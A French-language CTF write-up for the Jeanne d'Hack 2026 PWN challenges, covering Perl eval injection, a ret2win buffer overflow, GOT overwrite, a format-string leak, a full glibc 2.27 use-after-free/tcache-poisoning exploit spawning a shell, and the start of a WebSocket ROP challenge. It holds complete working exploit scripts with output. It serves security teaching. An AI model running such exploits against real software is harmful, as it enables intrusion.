PWN Writeup - Edition 2026
Table des matières
Dans cet article, nous vous présenterons les différentes solutions aux challenges du Jeanne d’Hack CTF 2026 pour la catégorie PWN.
PWN Intro
Les sources du challenge sont disponibles ici.
Tout le monde adore les jeux vidéo ! Quand on est jeune, même une simple calculatrice peut devenir un véritable terrain de jeu. Cette calculatrice de dernière génération vous permettra de revivre ces moments de nostalgie. Êtes-vous prêt à jouer ?
Pour vous connecter au service distant:
netcat 127.0.0.1 9000Le flag est contenu dans le fichier
flag.txt.
Pour ce premier challenge, on nous fournit le programme Perl suivant :
#!/usr/bin/perl -w
use strict;
use warnings;
use IO::Handle;
STDOUT->autoflush(1); # Enable autoflush for STDOUT
close STDERR; # There is no error as a long as you don't see them #bigbrain
# Read the flag but only a H3cker could get it!
open(my $fh, '<', "flag.txt");
my $flag = <$fh>;
close($fh);
# Cool banner
print '
$$$$$$\ $$$$$$\ $$\
$$ __$$\ $$ __$$\ \__|
$$ / \__|$$\ $$\ $$$$$$\$$$$\ $$ / \__| $$$$$$\ $$$$$$\ $$\ $$\ $$\ $$$$$$$\ $$$$$$\
\$$$$$$\ $$ | $$ |$$ _$$ _$$\ \$$$$$$\ $$ __$$\ $$ __$$\\\$$\ $$ |$$ |$$ _____|$$ __$$\
\____$$\ $$ | $$ |$$ / $$ / $$ | \____$$\ $$$$$$$$ |$$ | \__|\$$\$$ / $$ |$$ / $$$$$$$$ |
$$\ $$ |$$ | $$ |$$ | $$ | $$ |$$\ $$ |$$ ____|$$ | \$$$ / $$ |$$ | $$ ____|
\$$$$$$ |\$$$$$$ |$$ | $$ | $$ |\$$$$$$ |\$$$$$$$\ $$ | \$ / $$ |\$$$$$$$\ \$$$$$$$\
\______/ \______/ \__| \__| \__| \______/ \_______|\__| \_/ \__| \_______| \_______|
';
while (1) {
print "Enter a number to sum with 42: ";
my $string = <STDIN>;
chomp $string;
my $result = eval "42 + " . $string;
print "Result: " . $result . "\n";
}
Le programme lit une entrée utilisateur via <STDIN>, la concatène à la chaîne “42 + " avant de la passer
en paramètre de la fonction eval. Si l’on exécute le programme en entrant “1”, on obtient ceci :
Enter a number to sum with 42: 1
Result: 43
Le problème réside dans l’utilisation de la fonction eval. Cette fonction est considérée comme dangereuse,
en particulier si l’on laisse le contrôle des paramètres à l’utilisateur. En effet, l’utilisateur peut
envoyer du code Perl qui sera exécuté par eval. Il est donc possible de récupérer le contenu du flag comme ceci :
Enter a number to sum with 42: print($flag)
JDHACK{JeANnE_h4CK_Pwn_IN7rO_w1th_P3rL}
Result: 43
On obtient le flag JDHACK{JeANnE_h4CK_Pwn_IN7rO_w1th_P3rL}.
Retro Level
Les sources du challenge sont disponibles ici.
Retro Invaders revient dans une version simple et directe. Entrez votre nom et lancez-vous dans cette aventure rétro où chaque partie vous plonge dans l’ambiance d’une salle d’arcade classique.
Pour vous connecter au service distant:
netcat 127.0.0.1 9000Le flag est contenu dans le fichier
flag.txt.
Pour ce challenge, on nous fournit un programme compilé appelé retro_level. Le programme doit être analysé dans un premier
temps afin de comprendre son fonctionnement. À son exécution, il attend une saisie utilisateur correspondante au nom du joueur,
puis affiche un message de bienvenue.
Une entrée trop longue provoque un crash du programme avec un code SIGSEGV (erreur de segmentation). L’examen du code avec Ghidra
révèle les extraits suivants :
int main(void) {
setvbuf(stdout,(char *)0x0,2,0);
start_game();
puts("Good luck...");
return 0;
}
void start_game(void) {
char player_name [16];
puts("Welcome to Retro Invaders!");
printf("Enter your player name: ");
gets(player_name);
printf("Greetings, %s! Prepare to defend the planet!\n",player_name);
return;
}
La fonction main appelle start_game qui récupère la saisie utilisateur. Cette saisie est lue à l’aide de la fonction non
sécurisée gets (voir man gets) qui lit une chaîne de caractères de longueur indéfinie dans un buffer de 16 octets
(char player_name[16]). La function gets lit la saisie standard jusqu’au saut de ligne et la stocke dans ce buffer sans
vérifier si la taille dépasse celle allouée, engendrant un dépassement de tampon.
La mémoire adjacente, incluant l’adresse de retour sur la pile, est modifiée si la saisie dépasse la taille prévue. Il devient
donc possible de contrôler l’exécution du programme… mais dans quel but ? En utilisant des outils tels que nm ou Ghidra,
il est possible d’identifier la fonction win :
void win(void) {
size_t cnt;
char flag [128];
FILE *fp;
fp = (FILE *)fopen("flag.txt","r");
if (fp == (FILE *)0x0) {
puts("Sorry, failed to open the flag file.");
}
else {
cnt = fread(flag,1,0x80,fp);
if (cnt == 0) {
puts("Flag file is empty.");
}
else {
puts("Congratulations! You've hacked the game and unlocked the secret level!");
puts(flag);
fflush(stdout);
}
fclose(fp);
}
return;
}
Cette fonction n’est pas appelée durant l’exécution normale. La vulnérabilité dans start_game permet de rediriger le flot
d’exécution vers win et ainsi récupérer le flag. Le binaire n’étant pas compilé avec PIE, les adresses sont fixes et prévisibles,
ce qui facilite l’exploitation.
La taille du buffer et le décalage sont les suivants : 16 octets pour player_name, suivis de 8 octets pour la sauvegarde du registre EBP,
puis 8 octets pour l’adresse de retour. La bibliothèque Python pwnlib permet de faciliter l’exploitation à distance.
Le script d’exploit est le suivant :
from pwn import *
# Target remote host and port
host = 'challs.jeanne-hack-ctf.org'
port = 9001
# Create remote connection
p = remote(host, port)
# Or start a local process
# p = process("./retro_level")
# Offset to return address (buffer size 16 + saved ebp ret addr assumed 8)
offset = 24
# Address of win() function to hijack control flow
# This must be set to the correct address from the binary, for example using objdump, readelf or nm
win_addr = 0x401216
# Receive until the prompt
p.recvuntil(b"Enter your player name: ")
# Craft payload: 'A' * offset + packed address of win()
payload = b"A" * offset + p32(win_addr)
# Send payload
p.sendline(payload)
# Interact to see the output including the win message
p.interactive()
Le lancement du script produit :
$ python3 solve.py
[+] Opening connection to challs.jeanne-hack-ctf.org on port 9001: Done
[*] Switching to interactive mode
Greetings, AAAAAAAAAAAAAAAAAAAAAAAA\x16\x12@! Prepare to defend the planet!
Congratulations! You've hacked the game and unlocked the secret level!
JDHACK{R3tr0_1nv4d3R_1337_0wnZ_4LL}
[*] Got EOF while reading in interactive
On obtient ainsi le flag: JDHACK{R3tr0_1nv4d3R_1337_0wnZ_4LL}.
Draconophobia
Les sources du challenge sont disponibles ici.
Vous et votre ami avez été missionnés pour vaincre le dragon de la montagne. Cette quête vous rapportera xxx points d’expériences et de la fame. L’acceptez-vous ?
Pour vous connecter au service distant :
netcat 127.0.0.1 9004Le flag est contenu dans le fichier
flag.txt.
En observant la fonction main, on remarque deux variables qui s’apparentent à des structures.
En utilisant l’outil de génération automatique de structure de Ghidra, nous obtenons :

Cette structure possède un champ qui est initialisé par l’utilisateur via l’usage de scanf.
Ce champ est initialement de taille 8 comme l’indique le malloc, mais aucune vérification
de taille n’est effectuée, ce qui introduit un heap overflow.

Pour obtenir le flag, il faut réussir à exécuter la fonction lvl_up.
La première étape consiste à calculer le nombre d’octets nécessaires pour écrire sur la
seconde structure à partir du scanf censé écrire uniquement dans le champ pseudo de la première structure.
Pour ce faire, on peut lancer le programme avec un debugger, placer un breakpoint avant
la fin du programme, fournir deux arguments, puis observer en mémoire où se situe search arg..
afin de calculer l’offset exact.
Dans un second temps, on observe qu’il n’y a pas de PIE activé. Les adresses des différentes
fonctions ne sont donc pas randomisées. L’idée est alors de faire pointer un champ de la seconde
structure vers l’adresse de la GOT de la fonction strcmp, qui sera exécutée par la suite.
Résultat de la commande objdump -R draconophobia :

Résultat de la commande objdump -D draconophobia | grep lvl_up :

Il suffit ensuite de fournir, en second argument, l’adresse de la fonction lvl_up, qui ser
a écrite à la place de l’adresse de strcmp dans la GOT. Lors de l’appel suivant à strcmp,
la fonction lvl_up sera exécutée à la place.
Cela donne l’exploit suivant :

On obtient ainsi le flag JDHACK{41du1n_WIlL_N3ver_w!n}.
Magic Maze
Les sources du challenge sont disponibles ici.
Un ami développeur a retrouvé dans un carton les premiers jeux vidéos qu’il avait codés, parmi eux Magic Maze. Le nom vous intrigue et vous décidez de le lancer en rentrant chez vous…
Pour vous connecter au service distant :
stty raw -echo;nc localhost 9003;reset;Veuillez lancer le programme dans un terminal en plein écran.
Le flag est contenu dans le fichier
flag.txt.
Le but du challenge était d’exploiter une vulnérabilité de type format string. Celle-ci survient lorsqu’un appel à la fonction printf est fait sans utiliser de chaîne de format mais directement l’entrée d’un utilisateur en argument. Si l’utilisateur injecte des spécificateurs de format (comme %x, %s ou %n), il peut alors lire ou écrire arbitrairement dans la mémoire du programme.
Nous remarquons dans la fonction main un appel à la fonction handle_direction :

Au début de cette fonction, un tableau est défini contenant l’ensemble des mouvements possibles :

Lorsqu’un utilisateur indique autre chose qu’une des quatre flèches directionnelles, son entrée est affichée telle quelle :

C’est ici qu’est la vulnérabilité, mvwprintw fonctionne comme printf, en affichant l’entrée de l’utilisateur sans chaîne de format, on peut lire la mémoire du programme. De plus, lors de la première chance, le choix de la direction i est stocké dans une variable par l’appel à la fonction random_choice :


À chaque itération, la valeur de l’appel à la fonction random_choice se retrouve sur la pile. Si l’on leak la mémoire, on retrouvera chacune des positions lors de la première phase, en utilisant comme entrée par exemple : %p.%p.%p.%p.%p.%p.%p.%p.%p.%p,
On se retrouve alors avec la sortie suivante :

Enfin grâce au tableau défini plus haut, on en déduit les bons mouvements à indiquer lors de la seconde chance donnée par le mage et nous obtenons le flag.

Pokedex
Les sources du challenge sont disponibles ici.
Le Professeur Chen a mis au point un nouveau prototype de Pokédex, encore en phase de test. Vous pouvez y ajouter vos Pokémon favoris, mais le code semble parfois un peu capricieux… Certains disent qu’il renfermerait des fonctionnalités cachées que même le Professeur ignore !
Pour vous connecter au service distant :
netcat 127.0.0.1 9002Le flag est contenu dans le fichier
flag.txt.
À l’exécution, le programme affiche le menu suivant :
Welcome to the Pokedex Challenge!
Catch Pokemon, build your team, become a master!
=== POKEDEX ===
1. Catch Pokemon
2. Edit Pokemon
3. Release Pokemon
4. Inspect Pokemon
5. Exit
Nous avons donc un menu permettant d’ajouter, modifier, supprimer et lire des Pokémon. Une rapide analyse du binaire dans Ghidra montre que
les fonctions catch_pokemon, edit_pokemon, release_pokemon et inspect_pokemon appellent respectivement malloc, free, puis des
opérations d’accès en lecture/écriture sur ces zones mémoire.
En examinant la fonction catch_pokemon, on trouve la définition suivante :
void catch_pokemon(void) {
int slot;
ulong size;
void *ptr;
printf("Pokedex slot: ");
slot = read_int();
if (((slot < 0) || (7 < slot)) || (*(long *)(pokedex + (long)slot * 0x10 + 8) != 0)) {
puts("Invalid slot or already occupied!");
}
else {
printf("Pokemon data size: ");
size = read_int();
if ((size == 0) || (0x500 < size)) {
puts("Invalid size! Pokemon too big or too small!");
}
else {
ptr = malloc(size);
*(void **)(pokedex + (long)slot * 0x10 + 8) = ptr;
if (*(long *)(pokedex + (long)slot * 0x10 + 8) == 0) {
puts("Failed to catch! Out of pokeballs!");
exit(1);
}
*(ulong *)(pokedex + (long)slot * 0x10) = size;
printf("Pokemon data: ");
read(0,*(void **)(pokedex + (long)slot * 0x10 + 8),size);
puts("Pokemon caught! Added to Pokedex!");
}
}
return;
}
Le programme récupère l’entrée utilisateur et l’ajoute au pokedex. Chaque entrée du Pokédex contient la taille du Pokémon (size) et un pointeur
vers une zone mémoire allouée dynamiquement (ptr) via malloc. Lorsqu’un Pokémon est “attrapé”, la fonction alloue un bloc de mémoire dans le tas
et stocke son adresse dans pokedex[i].ptr.
Il est donc possible de représenter le pokedex comme le tableau de structure suivant:
typedef struct {
size_t size;
char *ptr;
} pokemon_t;
pokemon_t pokedex[];
Le code de la fonction release_pokemon est le suivant:
void release_pokemon(void) {
int slot;
printf("Pokedex slot: ");
slot = read_int(); // pokedex[slot].ptr
if (((slot < 0) || (7 < slot)) || (*(long *)(pokedex + (long)slot * 0x10 + 8) == 0)) {
puts("Invalid slot or no Pokemon!");
}
else { // pokedex[slot].ptr
free(*(void **)(pokedex + (long)slot * 0x10 + 8));
puts("Pokemon released back to wild!");
}
return;
}
Lors de la libération, la fonction appelle simplement free(pokedex[i].ptr) sans remettre le pointeur à NULL. Ainsi, après la libération, pokedex[i].ptr
continue de pointer vers une zone mémoire désormais appartenant à l’allocateur. Ce comportement engendre une vulnérabilité de type Use-After-Free (UAF)
(et aussi un Double Free) : il est possible d’éditer ou de consulter un Pokémon déjà libéré, ce qui permet de lire ou d’écrire dans des zones
du tas encore réutilisées par le programme.
Pour comprendre comment exploiter cette faille, il est nécessaire de comprendre comment fonctionne l’allocateur.
Fonctionnement du Tas
L’allocateur de mémoire de la glibc (GNU C Library) joue un rôle essentiel dans la gestion de la mémoire dynamique pour les programmes C. Il permet d’allouer et de libérer de la mémoire sans avoir à interagir constamment avec le noyau (kernel), ce qui pourrait ralentir les performances.
La mémoire doit être allouée via des appels système, entraînant un changement de contexte, une opération coûteuse en temps. Pour y remédier, la glibc
met en place une surcouche qui abstrait cette complexité, offrant une interface en userland plus rapide et efficace via l’API malloc.
Le tas gère la mémoire via des chunks, qui sont des blocs de mémoire de taille variable. L’allocation et la libération des chunks sont organisées en plusieurs zones :
| Zone | Description |
|---|---|
| tcache | Une mémoire cache par thread dédiée aux petits blocs de taille fixe, permettant une allocation et une libération rapides. |
| unsorted bin | Cette zone stocke temporairement les gros blocs de mémoire libérés. Ces blocs ne sont pas encore triés et peuvent être fusionnés. |
| sorted bins | Les chunks libérés sont déplacés vers des bins triés, rendant l’allocation plus efficace pour les demandes de taille spécifique. |
Chaque chunk de mémoire contient des métadonnées qui décrivent ses caractéristiques, telles que la taille du chunk et son état (libéré ou utilisé). Ces métadonnées permettent à l’allocateur de savoir rapidement quelles parties de la mémoire sont disponibles à l’allocation.
Un chunk ressemble donc à ceci :
Metadata ──────►┌───────────────────┐
│ prev_size │
├─────────────┬─────┤
│ size │flags│
malloc()───────►├─────────────┴─────┤
│ │
│ │
│ User data │
│ │
│ │
│ │
└───────────────────┘
Lorsque le programme rend la mémoire à l’allocateur via un appel à free, l’allocateur peut, dans certains cas, stocker des informations
supplémentaires dans la zone précédemment utilisée par les données utilisateur :
Metadata ──────►┌───────────────────┐
│ prev_size │
├─────────────┬─────┤
│ size │flags│
malloc()───────►├─────────────┴─────┤
│ Forward pointer │
├───────────────────┤
│ Backward pointer │
├───────────────────┤
│ │
│ │
└───────────────────┘
Pour plus d’explications sur le fonctionnement du tas, je recommande les articles suivants :
Exploitation
La version de la libc étant volontairement ancienne (2.27), il existe de nombreuses techniques d’exploitation.
Une liste très complète de ces techniques est disponible ici.
Pour cette exploitation, j’ai décidé d’utiliser un leak via les unsorted bins puis de corrompre le tcache pour modifier le __free_hook
et ainsi obtenir de l’exécution de code. En effet, la variable globale __free_hook contient un pointeur de fonction qui, s’il n’est pas nul,
permet de modifier le comportement de free. Cette variable est présente dans la libc, et par conséquent, elle est affectée par ASLR.
On commence donc par obtenir un leak grâce à la faille de Use-After-Free. Pour ce faire, il est nécessaire d’allouer 3 pokémons d’une taille
supérieure ou égale à 0x500 afin que le chunk se retrouve dans les unsorted bins une fois libéré. Le layout en mémoire ressemblera à ceci :
Pokedex
┌────────────────────────────────────────┐
│┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐│
││ ││ ││ ││ ││ ││ ││ ││ ││
│└─┬─┘└─┬─┘└─┬─┘└───┘└───┘└───┘└───┘└───┘│
└──┼────┼────┼───────────────────────────┘
│ │ │
│ │ └───────────────────────────────┐
┌─┘ └──────────────┐ │
│ │ │
│ │ │
▼ ▼ ▼
┌────────────────────┐┌────────────────────┐┌────────────────────┐
│ ││ ││ │
│ Chunk A ││ Chunk B ││ Chunk C │
│ (0x500) ││ (0x500) ││ (0x500) │
│ ││ ││ │
└────────────────────┘└────────────────────┘└────────────────────┘
Lorsque l’on libère le chunk B, l’allocateur place le chunk dans les unsorted bins. Comme il s’agit d’une liste doublement chainée,
il ajoute des pointeurs vers les éléments suivants. Comme la liste est initialement vide, les pointeurs forward et backward
pointent tous deux sur la tête de liste. Mais où est-elle ? La tête de liste se situe dans une zone spéciale de
la libc appelée main_arena. On obtient le schéma suivant :
Pokedex
┌────────────────────────────────────────┐
│┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐│
││ ││ ││ ││ ││ ││ ││ ││ ││
│└─┬─┘└─┬─┘└─┬─┘└───┘└───┘└───┘└───┘└───┘│
└──┼────┼────┼───────────────────────────┘
│ │ │
│ │ └───────────────────────────────┐
┌─┘ └──────────────┐ │
│ │ │
│ │ │
▼ ▼ ▼
┌────────────────────┐┌────────────────────┐┌────────────────────┐
│ ││ Chunk B (free) ││ │
│ Chunk A ││ ┌──────┐ ┌──────┐ ││ Chunk C │
│ (0x500) ││ │ FK │ │ BK │ ││ (0x500) │
│ ││ └───┬──┘ └───┬──┘ ││ │
└────────────────────┘└─────┼─────────┼────┘└────────────────────┘
▲ │ │
│ │ │
│ │ │
│ │ │ Libc
│ │ │ ┌──────────────┐
│ │ │ │ │
│ │ │ │ │
│ │ │ │ │
│ │ │ │ │
│ │ │ │ │
│ │ │ ├──────────────┤
│ │ │ │ main_arena │
│ │ │ │ │
│ └─────────┴──────────►│ │
│ │ │
└──────────────────────────┤ │
├──────────────┤
│ │
│ │
└──────────────┘
En utilisant la vulnérabilité de Use-After-Free, il est possible d’afficher le contenu du chunk B (pokémon à l’indice 1) afin de récupérer les valeurs des pointeurs. On obtient donc ceci :
=== POKEDEX ENTRY 1 ===
Pokemon stats:
0: 0x00007f1fd21f3ca0
1: 0x00007f1fd21f3ca0
2: 0x0000000000000000
3: 0x0000000000000000
4: 0x0000000000000000
5: 0x0000000000000000
6: 0x0000000000000000
7: 0x0000000000000000
=== POKEDEX ===
1. Catch Pokemon
2. Edit Pokemon
3. Release Pokemon
4. Inspect Pokemon
5. Exit
>
On récupère ainsi la valeur des pointeurs forward et backward. Même si la libc est affectée par ASLR, l’offset à laquelle
se trouve la main_arena est toujours le même pour une version donnée de la libc. On peut donc ajouter les constantes suivantes
dans notre script d’exploitation.
# Offsets for glibc 2.27
LIBC_OFFSETS = {
'main_arena': 0x3ebca0,
'free_hook': 0x3ed8e8,
'system': 0x4f420,
}
# Allocate 3 adjacent chunks (size > 0x500)
catch(0, 0x500) # A
catch(1, 0x500) # B
catch(2, 0x80) # C
# Free B -> goes to unsorted bin, fd/bk = main_arena pointers
release(1)
# UAF: inspect freed B to leak unsorted bin pointers
leak = inspect(1)
main_arena_leak = int(leak[0], 16)
log.info(f"Leaked main_arena: 0x{main_arena_leak:016x}")
# Calculate libc base
libc_base = main_arena_leak - LIBC_OFFSETS['main_arena']
free_hook = libc_base + LIBC_OFFSETS['free_hook']
system = libc_base + LIBC_OFFSETS['system']
log.info(f"libc_base: 0x{libc_base:016x}")
log.info(f"__free_hook: 0x{free_hook:016x}")
log.info(f"system: 0x{system:016x}")
Une fois l’adresse de __free_hook et system récupérées, il est possible de passer à la seconde partie de l’exploit : le tcache poisoning. Cette technique
consiste à allouer deux chunks de petite taille puis à les libérer pour qu’ils arrivent dans la liste du tcache. Le layout mémoire est alors le suivant :
Pokedex
┌────────────────────────────────────────┐
│┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐│
││ ││ ││ ││ ││ ││ ││ ││ ││
│└───┘└───┘└───┘└─┬─┘└─┬─┘└───┘└───┘└───┘│
└─────────────────┼────┼─────────────────┘
│ │
│ │
┌─────────────────┘ │
│ │
│ │
▼ ▼
┌─────────────────────┐┌────────────────────┐
│ Chunk D (free) ││ Chunk E (free) │
│ ┌──────┐ ┌──────┐ ││ ┌──────┐ ┌──────┐ │
│ │ FK │ │ BK │ ││ │ NULL │ │ BK │ │
│ └───┬──┘ └──────┘ ││ └──────┘ └───┬──┘ │
└──────┼──────────────┘└───────────────┼────┘
▲ │ ▲ │
│ └───────────────┘ │
│ │
│ │
└──────────────────────────────────────┘
Il est nécessaire d’utiliser une nouvelle fois la vulnérabilité de Use-After-Free pour éditer le chunk E et modifier le pointeur forward pour pointer vers
l’adresse de __free_hook. Ainsi, à la prochaine allocation, l’allocateur renverra cette zone à l’appel à malloc et cette zone
pourra être éditée pour y inscrire l’adresse de system.
Pokedex
┌────────────────────────────────────────┐ Libc
│┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐│ ┌──────────────┐
││ ││ ││ ││ ││ ││ ││ ││ ││ │ │
│└───┘└───┘└───┘└─┬─┘└─┬─┘└───┘└───┘└───┘│ │ │
└─────────────────┼────┼─────────────────┘ │ │
│ │ │ │
│ │ │ main_arena │
┌─────────────────┘ │ ├──────────────┤
│ │ │ __free_hook │
│ │ │┌────────────┐│
▼ ▼ ┌────►││ NULL ││
┌─────────────────────┐┌────────────────────┐ │ │└────────────┘│
│ Chunk D (free) ││ Chunk E (free) │ │ │ │
│ ┌──────┐ ┌──────┐ ││ ┌──────┐ ┌──────┐ │ │ │ │
│ │ FK │ │ BK │ ││ │ FK │ │ BK │ │ │ │ │
│ └───┬──┘ └──────┘ ││ └───┬──┘ └───┬──┘ │ │ ├──────────────┤
└──────┼──────────────┘└─────┼─────────┼────┘ │ └──────────────┘
▲ │ ▲ │ │ │
│ └───────────────┘ └─────────┼───────────────┘
│ │
│ │
└──────────────────────────────────────┘
La dernière étape est d’appeler free sur un chunk qui contient la chaîne de caractères de la commande
que l’on souhaite exécuter, ici /bin/sh. Le schéma final donne ceci :
Pokedex
┌────────────────────────────────────────┐ Libc
│┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐┌───┐│ ┌──────────────┐
││ ││ ││ ││ ││ ││ ││ ││ ││ │ │
│└───┘└───┘└───┘└───┘└───┘└───┘└─┬─┘└─┬─┘│ │ system()◄────┼──┐
└────────────────────────────────┼────┼──┘ │ │ │
│ │ │ │ │
│ │ │ main_arena │ │
┌──────────────────┘ │ ├──────────────┤ │
│ │ │ __free_hook │ │
▼ │ │┌────────────┐│ │
┌────────────────────┐ └──────────────────►││ @system ├┼──┘
│ │ │└────────────┘│
│ /bin/sh │ │ │
│ │ │ │
│ │ │ │
└────────────────────┘ ├──────────────┤
└──────────────┘
Le script finale donne :
#!/usr/bin/env python3
from pwn import *
# Set up context
context.arch = 'amd64'
#context.log_level = 'debug'
# Offsets for glibc 2.27
LIBC_OFFSETS = {
'main_arena': 0x3ebca0,
'free_hook': 0x3ed8e8,
'system': 0x4f420,
}
# p = process('./pokedex')
p = remote('localhost', 9002)
def catch(slot, size, data=b'A'):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'slot: ', str(slot).encode())
p.sendlineafter(b'size: ', str(size).encode())
p.sendlineafter(b'data: ', data)
p.recvuntil(b'caught!')
log.info(f"Caught Pokemon {slot} (size={size})")
def edit(slot, length, data):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'slot: ', str(slot).encode())
p.sendlineafter(b'length: ', str(length).encode())
p.sendlineafter(b'data: ', data)
p.recvuntil(b'updated!')
log.info(f"Edited Pokemon {slot} (len={length})")
def release(slot):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'slot: ', str(slot).encode())
p.recvuntil(b'wild!')
log.info(f"Released Pokemon {slot}")
def inspect(slot):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'slot: ', str(slot).encode())
data = p.recvuntil(b'=== POKEDEX ===', drop=True)
log.info(f"Inspected Pokemon {slot}")
lines = data.decode().strip().split('\n')[2:]
return list(map(lambda e: e.split(':')[1].strip(), lines))
# Allocate 3 adjacent chunks (size > 0x500)
catch(0, 0x500) # A
catch(1, 0x500) # B
catch(2, 0x80) # C (small, prevents top coalescing)
# Free B -> goes to unsorted bin, fd/bk = main_arena pointers
release(1)
# UAF: inspect freed B to leak unsorted bin pointers
leak = inspect(1)
main_arena_leak = int(leak[0], 16)
log.info(f"Leaked main_arena: 0x{main_arena_leak:016x}")
# Calculate libc base
libc_base = main_arena_leak - LIBC_OFFSETS['main_arena']
free_hook = libc_base + LIBC_OFFSETS['free_hook']
system = libc_base + LIBC_OFFSETS['system']
log.info(f"libc_base: 0x{libc_base:016x}")
log.info(f"__free_hook: 0x{free_hook:016x}")
log.info(f"system: 0x{system:016x}")
# Allocate two new chunks
catch(3, 0x80)
catch(4, 0x80)
# Free them so they end in the Tcachebins
release(3)
release(4)
# Forge a pointer to the free_hook
edit(3, 0x80, p64(free_hook))
catch(5, 0x80)
# Prepare the payload for system
catch(6, 0x80, data=b'/bin/sh\x00')
# Allocate the last chunk which end up at the free_hook addr and put the address of system
catch(7, 0x80, data=p64(system))
# Release the chunk 6, calling __free_hook("/bin/sh") -> system("/bin/sh")
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'slot: ', b'6')
p.interactive()
Et lors de l’exécution, on obtient ceci :
$ python solve.py
[*] Caught Pokemon 0 (size=1280)
[*] Caught Pokemon 1 (size=1280)
[*] Caught Pokemon 2 (size=128)
[*] Released Pokemon 1
[*] Inspected Pokemon 1
[*] Leaked main_arena: 0x00007fb8e1381ca0
[*] libc_base: 0x00007fb8e0f96000
[*] __free_hook: 0x00007fb8e13838e8
[*] system: 0x00007fb8e0fe5420
[*] Caught Pokemon 3 (size=128)
[*] Caught Pokemon 4 (size=128)
[*] Released Pokemon 3
[*] Released Pokemon 4
[*] Edited Pokemon 3 (len=128)
[*] Caught Pokemon 5 (size=128)
[*] Caught Pokemon 6 (size=128)
[*] Caught Pokemon 7 (size=128)
[*] Switching to interactive mode
$ cat flag.txt
JDHACK{90TTa_CATCH_7H3M_41L!}
Pwncraft
Writeup by mandragore
Les sources du challenge sont disponibles ici.
Un nouveau jeu sandbox en 2D où vous pouvez miner, fabriquer et survivre - si le jeu ne plante pas avant. Créez des outils, récoltez des ressources et forgez votre chemin vers la grandeur !
Mais avancez prudemment, aventurier. Le monde est imprévisible : un mauvais bloc, et vous pourriez bien tomber hors de la réalité elle-même.
Pour vous connecter au service distant : http://pwn.jeanne-hack-ctf.org:80/
En se connectant sur l’url fournie, on arrive sur la page suivante:

En inspectant les requêtes du navigateur, on remarque que celui-ci effectue une connection WebSocket sur le port 8080:
GET / HTTP/1.1
Host: pwn.jeanne-hack-ctf.org:8080
Origin: http://pwn.jeanne-hack-ctf.org
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: lbcGIl/yKRNFWIGzoASW/g==
Upgrade: websocket
...
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: n7MALJ5nNBBu5ErH1TdQLxJZlQ8=
Le challenge fournit également le binaire du serveur WebSocket.
Etape 1 : approche et fuite
On commence par regarder les interactions navigateur-application. Dans le panel developpeur, on peut voir ce que l’on envoie et qu’on recoit :
> 10 02 00 03 05 06 00
< 11 10 00 00
> etc
Il s’agit d’un protocole propriétaire au jeux. Il est possible de décoder ce protocole interne en désassemblant le binaire
avec Binary Ninja. En cherchant autour de l’adresse suivante base+0x19c3, on obtient le pseudo-code suivant :
+0x19c3 while (true)
+0x19cb char var_10a9
+0x19cb
+0x19cb if (sub_402130(arg1, &var_10a9, &var_10a0, &var_10a8) != 1)
+0x1b00 sub_402f40(&var_1088, "Invalid WebSocket frame received\n", 0)
+0x1b05 rsi_4 = "Client disconnected\n"
+0x1b05 break
+0x1b05
+0x19d1 uint64_t rsi_2 = var_10a8
+0x19d1
+0x19d9 if (rsi_2 == 0)
+0x1ac8 sub_402f40(&var_1088, "Client sent disconnection request\n", 0)
La structure de base est la suivante : ‘\x10’ + un octet de commande + deux octets de taille de données + x octets de données. Les commandes disponibles sont : 1 pour obtenir la carte, 2 pour écrire un bloc, etc.
Nous commençons par chercher un wrapper pour lire et écrire sur le WebSocket. Ma version de la bibliothèque Python pwntools ne le permettait pas, alors j’ai utilisé la bibliothèque websocket.
Après quelques tests de fuzzing, en testant les paramètres via le client python, on s’apercoit qu’il est possible d’obtenir plus que la carte, car les limites ne sont pas contrôlées.
Etape 2: analyse et stackploitation
Dans la pile on trouve des adresses de retour dans libc, des offsets vers le linker, et des pointeurs dans le binaire pwncraft.
D’ailleurs, de nombreuses protections sont mise en place dans le binaire:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Le protocole du jeu permet d’écrire à des coordonnées choisies après la carte, directement dans la pile. Cependant, il est impossible d’y écrire notre code et de remplacer une adresse de retour, car le flag NX (non exécutable) l’interdit.
Pour contourner ce problème, nous utilisons le ROP (Return Oriented Programming) : nous plaçons des adresses de retour
vers du code existant qui nous intéresse, tout en intercalant des valeurs utiles. Par exemple, pour définir le registre
rax, nous sautons vers un gadget tel que pop rax; ret, en écrivant dans la pile :
[adresse du code pop/ret] <- RSP
[valeur pour rax]
[prochaine adresse code]
Cet exemple est ce qu’on appelle un gadget. En combinant plusieurs gadgets, nous construisons un code fonctionnel.
Limitations
Certaines méthodes utiles ne sont pas possibles ici :
-
ret2csu : Cette technique utilise la fonction
__libc_csu_init, qui permet de définir tous les registres en une seule fois (y comprisrdx). Malheureusement, cette fonction n’est pas présente dans pwncraft, et cette méthode commence à être obsolète. -
SROP (Sign Return Oriented Programming) : Cette méthode utilise des appels aux fonctions du noyau (API plus bas niveau comparé à la LIBC). À partir de ce code, il serait possible de réaliser presque tout. Cependant,
pwncraftne propose pas de syscall/ret, ce qui rend cette option moins accessible. On peut souvent trouver cela dans la bibliothèque ld (loader), mais il faudrait scanner en mémoire depuis son adresse de base pour le découvrir. Ce n’est pas impossible, mais cela demande beaucoup de travail.
Un problème courant est l’absence de gadget pour définir rdx, malgré mes recherches avec ROPgadget, ropper, ropsearch, one_gadget, etc.
